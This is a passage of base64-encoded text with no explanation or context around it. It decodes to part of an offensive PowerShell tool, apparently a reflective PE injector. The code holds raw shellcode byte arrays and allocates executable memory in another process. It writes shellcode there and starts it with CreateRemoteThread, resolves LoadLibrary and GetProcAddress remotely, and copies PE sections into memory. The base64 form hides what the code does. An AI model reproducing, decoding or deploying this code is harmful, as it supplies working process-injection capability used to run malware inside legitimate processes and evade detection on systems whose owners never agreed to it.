cmFyeVNDMyA9IEAoMHhmZiwgMHhkMiwgMHg0OCwgMHhiYSkKCQkJJExvYWRMaWJyYXJ5U0M0ID0g
QCgweDQ4LCAweDg5LCAweDAyLCAweDQ4LCAweDg5LCAweGRjLCAweDViLCAweGMzKQoJCQkKCQkJ
JFNDTGVuZ3RoID0gJExvYWRMaWJyYXJ5U0MxLkxlbmd0aCArICRMb2FkTGlicmFyeVNDMi5MZW5n
dGggKyAkTG9hZExpYnJhcnlTQzMuTGVuZ3RoICsgJExvYWRMaWJyYXJ5U0M0Lkxlbmd0aCArICgk
UHRyU2l6ZSAqIDMpCgkJCSRTQ1BTTWVtID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNl
cy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRTQ0xlbmd0aCkKCQkJJFNDUFNNZW1PcmlnaW5hbCA9
ICRTQ1BTTWVtCgkJCQoJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkTG9hZExpYnJhcnlT
QzEgLU1lbW9yeUFkZHJlc3MgJFNDUFNNZW0KCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNV
bnNpZ25lZCAkU0NQU01lbSAoJExvYWRMaWJyYXJ5U0MxLkxlbmd0aCkKCQkJW1N5c3RlbS5SdW50
aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJFJJbXBvcnREbGxQ
YXRoUHRyLCAkU0NQU01lbSwgJGZhbHNlKQoJCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vu
c2lnbmVkICRTQ1BTTWVtICgkUHRyU2l6ZSkKCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMg
JExvYWRMaWJyYXJ5U0MyIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJCSRTQ1BTTWVtID0gQWRk
LVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRMb2FkTGlicmFyeVNDMi5MZW5ndGgpCgkJ
CVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRy
KCRMb2FkTGlicmFyeUFBZGRyLCAkU0NQU01lbSwgJGZhbHNlKQoJCQkkU0NQU01lbSA9IEFkZC1T
aWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkUHRyU2l6ZSkKCQkJV3JpdGUtQnl0ZXNUb01l
bW9yeSAtQnl0ZXMgJExvYWRMaWJyYXJ5U0MzIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJCSRT
Q1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRMb2FkTGlicmFyeVND
My5MZW5ndGgpCgkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0
cnVjdHVyZVRvUHRyKCRMb2FkTGlicmFyeUFSZXRNZW0sICRTQ1BTTWVtLCAkZmFsc2UpCgkJCSRT
Q1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQoJCQlX
cml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkTG9hZExpYnJhcnlTQzQgLU1lbW9yeUFkZHJlc3Mg
JFNDUFNNZW0KCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAo
JExvYWRMaWJyYXJ5U0M0Lkxlbmd0aCkKCgkJCQoJCQkkUlNDQWRkciA9ICRXaW4zMkZ1bmN0aW9u
cy5WaXJ0dWFsQWxsb2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsIFtJbnRQdHJdOjpaZXJv
LCBbVUludFB0cl1bVUludDY0XSRTQ0xlbmd0aCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQg
LWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VY
RUNVVEVfUkVBRFdSSVRFKQoJCQlpZiAoJFJTQ0FkZHIgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCQl7
CgkJCQlUaHJvdyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nl
c3MgZm9yIHNoZWxsY29kZSIKCQkJfQoJCQkKCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMu
V3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsICRT
Q1BTTWVtT3JpZ2luYWwsIFtVSW50UHRyXVtVSW50NjRdJFNDTGVuZ3RoLCBbUmVmXSROdW1CeXRl
c1dyaXR0ZW4pCgkJCWlmICgoJFN1Y2Nlc3MgLWVxICRmYWxzZSkgLW9yIChbVUludDY0XSROdW1C
eXRlc1dyaXR0ZW4gLW5lIFtVSW50NjRdJFNDTGVuZ3RoKSkKCQkJewoJCQkJVGhyb3cgIlVuYWJs
ZSB0byB3cml0ZSBzaGVsbGNvZGUgdG8gcmVtb3RlIHByb2Nlc3MgbWVtb3J5LiIKCQkJfQoJCQkK
CQkJJFJUaHJlYWRIYW5kbGUgPSBJbnZva2UtQ3JlYXRlUmVtb3RlVGhyZWFkIC1Qcm9jZXNzSGFu
ZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1TdGFydEFkZHJlc3MgJFJTQ0FkZHIgLVdpbjMyRnVuY3Rp
b25zICRXaW4zMkZ1bmN0aW9ucwoJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLldhaXRGb3JT
aW5nbGVPYmplY3QuSW52b2tlKCRSVGhyZWFkSGFuZGxlLCAyMDAwMCkKCQkJaWYgKCRSZXN1bHQg
LW5lIDApCgkJCXsKCQkJCVRocm93ICJDYWxsIHRvIENyZWF0ZVJlbW90ZVRocmVhZCB0byBjYWxs
IEdldFByb2NBZGRyZXNzIGZhaWxlZC4iCgkJCX0KCQkJCgoJCQlbSW50UHRyXSRSZXR1cm5WYWxN
ZW0gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hHbG9i
YWwoJFB0clNpemUpCgkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuUmVhZFByb2Nlc3NNZW1v
cnkuSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkTG9hZExpYnJhcnlBUmV0TWVtLCAkUmV0dXJu
VmFsTWVtLCBbVUludFB0cl1bVUludDY0XSRQdHJTaXplLCBbUmVmXSROdW1CeXRlc1dyaXR0ZW4p
CgkJCWlmICgkUmVzdWx0IC1lcSAkZmFsc2UpCgkJCXsKCQkJCVRocm93ICJDYWxsIHRvIFJlYWRQ
cm9jZXNzTWVtb3J5IGZhaWxlZCIKCQkJfQoJCQlbSW50UHRyXSREbGxBZGRyZXNzID0gW1N5c3Rl
bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJFJldHVy
blZhbE1lbSwgW1R5cGVdW0ludFB0cl0pCgoJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbEZyZWVF
eC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRMb2FkTGlicmFyeUFSZXRNZW0sIFtVSW50UHRy
XVtVSW50NjRdMCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRUxFQVNFKSB8IE91dC1OdWxsCgkJCSRX
aW4zMkZ1bmN0aW9ucy5WaXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJT
Q0FkZHIsIFtVSW50UHRyXVtVSW50NjRdMCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9SRUxFQVNFKSB8
IE91dC1OdWxsCgkJfQoJCWVsc2UKCQl7CgkJCVtJbnRQdHJdJFJUaHJlYWRIYW5kbGUgPSBJbnZv
a2UtQ3JlYXRlUmVtb3RlVGhyZWFkIC1Qcm9jZXNzSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1T
dGFydEFkZHJlc3MgJExvYWRMaWJyYXJ5QUFkZHIgLWZ1bmMxMjQgJFJJbXBvcnREbGxQYXRoUHRy
IC1XaW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMKCQkJJFJlc3VsdCA9ICRXaW4zMkZ1bmN0
aW9ucy5XYWl0Rm9yU2luZ2xlT2JqZWN0Lkludm9rZSgkUlRocmVhZEhhbmRsZSwgMjAwMDApCgkJ
CWlmICgkUmVzdWx0IC1uZSAwKQoJCQl7CgkJCQlUaHJvdyAiQ2FsbCB0byBDcmVhdGVSZW1vdGVU
aHJlYWQgdG8gY2FsbCBHZXRQcm9jQWRkcmVzcyBmYWlsZWQuIgoJCQl9CgkJCQoJCQlbSW50MzJd
JEV4aXRDb2RlID0gMAoJCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25zLkdldEV4aXRDb2RlVGhy
ZWFkLkludm9rZSgkUlRocmVhZEhhbmRsZSwgW1JlZl0kRXhpdENvZGUpCgkJCWlmICgoJFJlc3Vs
dCAtZXEgMCkgLW9yICgkRXhpdENvZGUgLWVxIDApKQoJCQl7CgkJCQlUaHJvdyAiQ2FsbCB0byBH
ZXRFeGl0Q29kZVRocmVhZCBmYWlsZWQiCgkJCX0KCQkJCgkJCVtJbnRQdHJdJERsbEFkZHJlc3Mg
PSBbSW50UHRyXSRFeGl0Q29kZQoJCX0KCQkKCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbEZyZWVF
eC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRSSW1wb3J0RGxsUGF0aFB0ciwgW1VJbnRQdHJd
W1VJbnQ2NF0wLCAkV2luMzJDb25zdGFudHMuTUVNX1JFTEVBU0UpIHwgT3V0LU51bGwKCQkKCQly
ZXR1cm4gJERsbEFkZHJlc3MKCX0KCQoJCglGdW5jdGlvbiBHZXQtUmVtb3RlUHJvY0FkZHJlc3MK
CXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTAsIE1hbmRhdG9yeT0kdHJ1ZSldCgkJ
W0ludFB0cl0KCQkkUmVtb3RlUHJvY0hhbmRsZSwKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTEs
IE1hbmRhdG9yeT0kdHJ1ZSldCgkJW0ludFB0cl0KCQkkUmVtb3RlRGxsSGFuZGxlLAoJCQoJCVtQ
YXJhbWV0ZXIoUG9zaXRpb249MiwgTWFuZGF0b3J5PSR0cnVlKV0KCQlbU3RyaW5nXQoJCSRGdW5j
dGlvbk5hbWUKCQkpCgoJCSRQdHJTaXplID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNl
cy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKQoJCSRGdW5jdGlvbk5hbWVQdHIgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJpbmdUb0hHbG9iYWxB
bnNpKCRGdW5jdGlvbk5hbWUpCgkJCgoJCSRGdW5jdGlvbk5hbWVTaXplID0gW1VJbnRQdHJdW1VJ
bnQ2NF0oW1VJbnQ2NF0kRnVuY3Rpb25OYW1lLkxlbmd0aCArIDEpCgkJJFJGdW5jTmFtZVB0ciA9
ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUs
IFtJbnRQdHJdOjpaZXJvLCAkRnVuY3Rpb25OYW1lU2l6ZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9D
T01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5Q
QUdFX1JFQURXUklURSkKCQlpZiAoJFJGdW5jTmFtZVB0ciAtZXEgW0ludFB0cl06Olplcm8pCgkJ
ewoJCQlUaHJvdyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nl
c3MiCgkJfQoKCQlbVUludFB0cl0kTnVtQnl0ZXNXcml0dGVuID0gW1VJbnRQdHJdOjpaZXJvCgkJ
JFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVt
b3RlUHJvY0hhbmRsZSwgJFJGdW5jTmFtZVB0ciwgJEZ1bmN0aW9uTmFtZVB0ciwgJEZ1bmN0aW9u
TmFtZVNpemUsIFtSZWZdJE51bUJ5dGVzV3JpdHRlbikKCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv
cFNlcnZpY2VzLk1hcnNoYWxdOjpGcmVlSEdsb2JhbCgkRnVuY3Rpb25OYW1lUHRyKQoJCWlmICgk
U3VjY2VzcyAtZXEgJGZhbHNlKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0ZSBETEwgcGF0
aCB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkiCgkJfQoJCWlmICgkRnVuY3Rpb25OYW1lU2l6ZSAt
bmUgJE51bUJ5dGVzV3JpdHRlbikKCQl7CgkJCVRocm93ICJEaWRuJ3Qgd3JpdGUgdGhlIGV4cGVj
dGVkIGFtb3VudCBvZiBieXRlcyB3aGVuIHdyaXRpbmcgYSBETEwgcGF0aCB0byBsb2FkIHRvIHRo
ZSByZW1vdGUgcHJvY2VzcyIKCQl9CgkJCgoJCSRLZXJuZWwzMkhhbmRsZSA9ICRXaW4zMkZ1bmN0
aW9ucy5HZXRNb2R1bGVIYW5kbGUuSW52b2tlKCJrZXJuZWwzMi5kbGwiKQoJCSRHZXRQcm9jQWRk
cmVzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwz
MkhhbmRsZSwgIkdldFByb2NBZGRyZXNzIikgI0tlcm5lbDMyIGxvYWRlZCB0byB0aGUgc2FtZSBh
ZGRyZXNzIGZvciBhbGwgcHJvY2Vzc2VzCgoJCQoKCQkkR2V0UHJvY0FkZHJlc3NSZXRNZW0gPSAk
V2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCBb
SW50UHRyXTo6WmVybywgW1VJbnQ2NF1bVUludDY0XSRQdHJTaXplLCAkV2luMzJDb25zdGFudHMu
TUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMyQ29uc3Rh
bnRzLlBBR0VfUkVBRFdSSVRFKQoJCWlmICgkR2V0UHJvY0FkZHJlc3NSZXRNZW0gLWVxIFtJbnRQ
dHJdOjpaZXJvKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1vcnkgaW4gdGhl
IHJlbW90ZSBwcm9jZXNzIGZvciB0aGUgcmV0dXJuIHZhbHVlIG9mIEdldFByb2NBZGRyZXNzIgoJ
CX0KCQkKCQkKCgoKCQlbQnl0ZVtdXSRHZXRQcm9jQWRkcmVzc1NDID0gQCgpCgkJaWYgKCRQRUlu
Zm8uUEU2NEJpdCAtZXEgJHRydWUpCgkJewoJCQkkR2V0UHJvY0FkZHJlc3NTQzEgPSBAKDB4NTMs
IDB4NDgsIDB4ODksIDB4ZTMsIDB4NDgsIDB4ODMsIDB4ZWMsIDB4MjAsIDB4NjYsIDB4ODMsIDB4
ZTQsIDB4YzAsIDB4NDgsIDB4YjkpCgkJCSRHZXRQcm9jQWRkcmVzc1NDMiA9IEAoMHg0OCwgMHhi
YSkKCQkJJEdldFByb2NBZGRyZXNzU0MzID0gQCgweDQ4LCAweGI4KQoJCQkkR2V0UHJvY0FkZHJl
c3NTQzQgPSBAKDB4ZmYsIDB4ZDAsIDB4NDgsIDB4YjkpCgkJCSRHZXRQcm9jQWRkcmVzc1NDNSA9
IEAoMHg0OCwgMHg4OSwgMHgwMSwgMHg0OCwgMHg4OSwgMHhkYywgMHg1YiwgMHhjMykKCQl9CgkJ
ZWxzZQoJCXsKCQkJJEdldFByb2NBZGRyZXNzU0MxID0gQCgweDUzLCAweDg5LCAweGUzLCAweDgz
LCAweGU0LCAweGMwLCAweGI4KQoJCQkkR2V0UHJvY0FkZHJlc3NTQzIgPSBAKDB4YjkpCgkJCSRH
ZXRQcm9jQWRkcmVzc1NDMyA9IEAoMHg1MSwgMHg1MCwgMHhiOCkKCQkJJEdldFByb2NBZGRyZXNz
U0M0ID0gQCgweGZmLCAweGQwLCAweGI5KQoJCQkkR2V0UHJvY0FkZHJlc3NTQzUgPSBAKDB4ODks
IDB4MDEsIDB4ODksIDB4ZGMsIDB4NWIsIDB4YzMpCgkJfQoJCSRTQ0xlbmd0aCA9ICRHZXRQcm9j
QWRkcmVzc1NDMS5MZW5ndGggKyAkR2V0UHJvY0FkZHJlc3NTQzIuTGVuZ3RoICsgJEdldFByb2NB
ZGRyZXNzU0MzLkxlbmd0aCArICRHZXRQcm9jQWRkcmVzc1NDNC5MZW5ndGggKyAkR2V0UHJvY0Fk
ZHJlc3NTQzUuTGVuZ3RoICsgKCRQdHJTaXplICogNCkKCQkkU0NQU01lbSA9IFtTeXN0ZW0uUnVu
dGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkU0NMZW5ndGgpCgkJ
JFNDUFNNZW1PcmlnaW5hbCA9ICRTQ1BTTWVtCgkJCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0
ZXMgJEdldFByb2NBZGRyZXNzU0MxIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJJFNDUFNNZW0g
PSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0MxLkxl
bmd0aCkKCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1
cmVUb1B0cigkUmVtb3RlRGxsSGFuZGxlLCAkU0NQU01lbSwgJGZhbHNlKQoJCSRTQ1BTTWVtID0g
QWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQoJCVdyaXRlLUJ5dGVz
VG9NZW1vcnkgLUJ5dGVzICRHZXRQcm9jQWRkcmVzc1NDMiAtTWVtb3J5QWRkcmVzcyAkU0NQU01l
bQoJCSRTQ1BTTWVtID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRHZXRQcm9j
QWRkcmVzc1NDMi5MZW5ndGgpCgkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz
aGFsXTo6U3RydWN0dXJlVG9QdHIoJFJGdW5jTmFtZVB0ciwgJFNDUFNNZW0sICRmYWxzZSkKCQkk
U0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkUHRyU2l6ZSkKCQlX
cml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkR2V0UHJvY0FkZHJlc3NTQzMgLU1lbW9yeUFkZHJl
c3MgJFNDUFNNZW0KCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVt
ICgkR2V0UHJvY0FkZHJlc3NTQzMuTGVuZ3RoKQoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vy
dmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCRHZXRQcm9jQWRkcmVzc0FkZHIsICRTQ1BT
TWVtLCAkZmFsc2UpCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01l
bSAoJFB0clNpemUpCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJEdldFByb2NBZGRyZXNz
U0M0IC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNV
bnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0M0Lkxlbmd0aCkKCQlbU3lzdGVtLlJ1
bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkR2V0UHJvY0Fk
ZHJlc3NSZXRNZW0sICRTQ1BTTWVtLCAkZmFsc2UpCgkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50
QXNVbnNpZ25lZCAkU0NQU01lbSAoJFB0clNpemUpCgkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0
ZXMgJEdldFByb2NBZGRyZXNzU0M1IC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJJFNDUFNNZW0g
PSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJEdldFByb2NBZGRyZXNzU0M1Lkxl
bmd0aCkKCQkKCQkkUlNDQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2NFeC5JbnZv
a2UoJFJlbW90ZVByb2NIYW5kbGUsIFtJbnRQdHJdOjpaZXJvLCBbVUludFB0cl1bVUludDY0XSRT
Q0xlbmd0aCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMu
TUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRFKQoJCWlm
ICgkUlNDQWRkciAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlUaHJvdyAiVW5hYmxlIHRvIGFs
bG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nlc3MgZm9yIHNoZWxsY29kZSIKCQl9CgkJ
CgkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQcm9jZXNzTWVtb3J5Lkludm9rZSgk
UmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsICRTQ1BTTWVtT3JpZ2luYWwsIFtVSW50UHRyXVtV
SW50NjRdJFNDTGVuZ3RoLCBbUmVmXSROdW1CeXRlc1dyaXR0ZW4pCgkJaWYgKCgkU3VjY2VzcyAt
ZXEgJGZhbHNlKSAtb3IgKFtVSW50NjRdJE51bUJ5dGVzV3JpdHRlbiAtbmUgW1VJbnQ2NF0kU0NM
ZW5ndGgpKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0ZSBzaGVsbGNvZGUgdG8gcmVtb3Rl
IHByb2Nlc3MgbWVtb3J5LiIKCQl9CgkJCgkJJFJUaHJlYWRIYW5kbGUgPSBJbnZva2UtQ3JlYXRl
UmVtb3RlVGhyZWFkIC1Qcm9jZXNzSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlIC1TdGFydEFkZHJl
c3MgJFJTQ0FkZHIgLVdpbjMyRnVuY3Rpb25zICRXaW4zMkZ1bmN0aW9ucwoJCSRSZXN1bHQgPSAk
V2luMzJGdW5jdGlvbnMuV2FpdEZvclNpbmdsZU9iamVjdC5JbnZva2UoJFJUaHJlYWRIYW5kbGUs
IDIwMDAwKQoJCWlmICgkUmVzdWx0IC1uZSAwKQoJCXsKCQkJVGhyb3cgIkNhbGwgdG8gQ3JlYXRl
UmVtb3RlVGhyZWFkIHRvIGNhbGwgR2V0UHJvY0FkZHJlc3MgZmFpbGVkLiIKCQl9CgkJCgoJCVtJ
bnRQdHJdJFJldHVyblZhbE1lbSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFy
c2hhbF06OkFsbG9jSEdsb2JhbCgkUHRyU2l6ZSkKCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rpb25z
LlJlYWRQcm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJEdldFByb2NBZGRy
ZXNzUmV0TWVtLCAkUmV0dXJuVmFsTWVtLCBbVUludFB0cl1bVUludDY0XSRQdHJTaXplLCBbUmVm
XSROdW1CeXRlc1dyaXR0ZW4pCgkJaWYgKCgkUmVzdWx0IC1lcSAkZmFsc2UpIC1vciAoJE51bUJ5
dGVzV3JpdHRlbiAtZXEgMCkpCgkJewoJCQlUaHJvdyAiQ2FsbCB0byBSZWFkUHJvY2Vzc01lbW9y
eSBmYWlsZWQiCgkJfQoJCVtJbnRQdHJdJFByb2NBZGRyZXNzID0gW1N5c3RlbS5SdW50aW1lLklu
dGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJFJldHVyblZhbE1lbSwgW1R5
cGVdW0ludFB0cl0pCgoJCSRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVt
b3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsIFtVSW50UHRyXVtVSW50NjRdMCwgJFdpbjMyQ29uc3Rh
bnRzLk1FTV9SRUxFQVNFKSB8IE91dC1OdWxsCgkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxGcmVl
RXguSW52b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCAkUkZ1bmNOYW1lUHRyLCBbVUludFB0cl1bVUlu
dDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVMRUFTRSkgfCBPdXQtTnVsbAoJCSRXaW4zMkZ1
bmN0aW9ucy5WaXJ0dWFsRnJlZUV4Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJEdldFByb2NB
ZGRyZXNzUmV0TWVtLCBbVUludFB0cl1bVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1fUkVM
RUFTRSkgfCBPdXQtTnVsbAoJCQoJCXJldHVybiAkUHJvY0FkZHJlc3MKCX0KCgoJRnVuY3Rpb24g
Q29weS1TZWN0aW9ucwoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5k
YXRvcnkgPSAkdHJ1ZSldCgkJW0J5dGVbXV0KCQkkUEVCeXRlcywKCQkKCQlbUGFyYW1ldGVyKFBv
c2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRQRUlu
Zm8sCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlb
U3lzdGVtLk9iamVjdF0KCQkkV2luMzJGdW5jdGlvbnMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlv
biA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJUeXBl
cwoJCSkKCQkKCQlmb3IoICRpID0gMDsgJGkgLWx0ICRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5G
aWxlSGVhZGVyLk51bWJlck9mU2VjdGlvbnM7ICRpKyspCgkJewoJCQlbSW50UHRyXSRTZWN0aW9u
SGVhZGVyUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVJ
bmZvLlNlY3Rpb25IZWFkZXJQdHIpICgkaSAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vydmlj
ZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9TRUNUSU9OX0hFQURF
UikpKQoJCQkkU2VjdGlvbkhlYWRlciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu
TWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRTZWN0aW9uSGVhZGVyUHRyLCBbVHlwZV0kV2luMzJU
eXBlcy5JTUFHRV9TRUNUSU9OX0hFQURFUikKCQkKCgkJCVtJbnRQdHJdJFNlY3Rpb25EZXN0QWRk
ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkIChbSW50NjRdJFBFSW5mby5QRUhh
bmRsZSkgKFtJbnQ2NF0kU2VjdGlvbkhlYWRlci5WaXJ0dWFsQWRkcmVzcykpCgkJCQoKCgoKCQkJ
JFNpemVPZlJhd0RhdGEgPSAkU2VjdGlvbkhlYWRlci5TaXplT2ZSYXdEYXRhCgoJCQlpZiAoJFNl
Y3Rpb25IZWFkZXIuUG9pbnRlclRvUmF3RGF0YSAtZXEgMCkKCQkJewoJCQkJJFNpemVPZlJhd0Rh
dGEgPSAwCgkJCX0KCQkJCgkJCWlmICgkU2l6ZU9mUmF3RGF0YSAtZ3QgJFNlY3Rpb25IZWFkZXIu
VmlydHVhbFNpemUpCgkJCXsKCQkJCSRTaXplT2ZSYXdEYXRhID0gJFNlY3Rpb25IZWFkZXIuVmly
dHVhbFNpemUKCQkJfQoJCQkKCQkJaWYgKCRTaXplT2ZSYXdEYXRhIC1ndCAwKQoJCQl7CgkJCQlU
ZXN0LU1lbW9yeVJhbmdlVmFsaWQgLURlYnVnU3RyaW5nICJDb3B5LVNlY3Rpb25zOjpNYXJzaGFs
